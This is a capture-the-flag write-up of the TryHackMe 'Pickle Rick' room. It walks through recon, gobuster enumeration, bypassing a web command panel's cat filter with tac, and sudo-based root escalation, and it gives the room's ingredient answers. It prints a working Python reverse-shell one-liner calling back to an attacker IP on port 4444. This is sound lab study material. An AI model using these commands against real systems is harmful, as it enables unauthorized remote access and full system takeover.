← All write-ups

Pickle Rick

A command panel that filters cat but not tac, and a sudo rule that filters nothing at all.

TryHackMe · Web Exploitation / Linux Privilege Escalation

Objective

Find three "ingredients" hidden on the box to help Rick complete his pickle-reverse potion, ultimately escalating to root.

1. Initial Recon

Started with a look at the web server on port 80. Viewing the page source revealed an HTML comment left behind in the source code:

<!--
Note to self, remember username!
Username: R1ckRul3s
-->

Checked /robots.txt next, which returned a single string:

Wubbalubbadubdub

Port 22 (SSH) was open but restricted to public-key authentication only, ruling it out as an entry point without a valid key. This pointed toward the web server (port 80) as the way in.

2. Directory Enumeration

Ran gobuster against the site to find hidden paths:

gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

An initial scan with common.txt only turned up files already linked from the homepage (/assets, /index.html, /robots.txt). Switching to a larger wordlist and explicitly searching for .php extensions surfaced a hidden login page.

3. Authentication

Used the two pieces of info gathered so far as credentials:

This successfully logged in to the portal. Most tabs were locked behind a "only the real Rick can view this page" message.

4. Decoding the Hidden String

Viewing the page source on the locked page revealed a Base64-encoded string. Decoding it once produced another Base64-looking string — a double-encoded value. Decoding a second time revealed the plaintext:

rabbit hole

This turned out to be a red herring / troll planted by the box author rather than a usable clue.

5. Finding the Command Panel

Continued exploring the portal and located a command panel — a web-based interface that accepts and executes OS commands as the web server user.

Confirmed code execution with whoami:

www-data

6. Filter Bypass

Listing files (ls) worked normally and revealed:

Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt

Attempting to read files with cat was blocked — the panel was filtering that specific command. Bypassed the filter using tac (cat backwards), which is not blocked and reads files in the same way (just reversed line order):

tac Sup3rS3cretPickl3Ingred.txt

Ingredient #1: Mr. Meeseek hair

7. Filesystem Enumeration for Ingredient #2

Searched the filesystem broadly for related files:

find / -iname "*ingredient*" 2>/dev/null

Located and read a second file elsewhere on the filesystem using tac.

Ingredient #2: 1 Jerry tear

8. Upgrading to a Reverse Shell

The command panel's filtering made continued enumeration tedious, so pivoted to a full reverse shell for unrestricted access.

Set up a listener on the attacking machine (using the VPN tunnel IP, tun0):

nc -lvnp 4444

Triggered a callback from the target through the command panel using a Python one-liner:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_tun0_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Received a shell as www-data.

9. Privilege Escalation

Checked sudo permissions:

sudo -l

Result:

User www-data may run the following commands on ip-10-64-158-3:
    (ALL) NOPASSWD: ALL

www-data could run any command as root with no password required — a direct and immediate path to full root access.

Escalated with:

sudo su

Confirmed root:

whoami
# root

10. Final Ingredient & Flag

With root access, navigated to /root/ and located the third ingredient, completing Rick's potion, along with the final root flag.

Key Takeaways

← All write-ups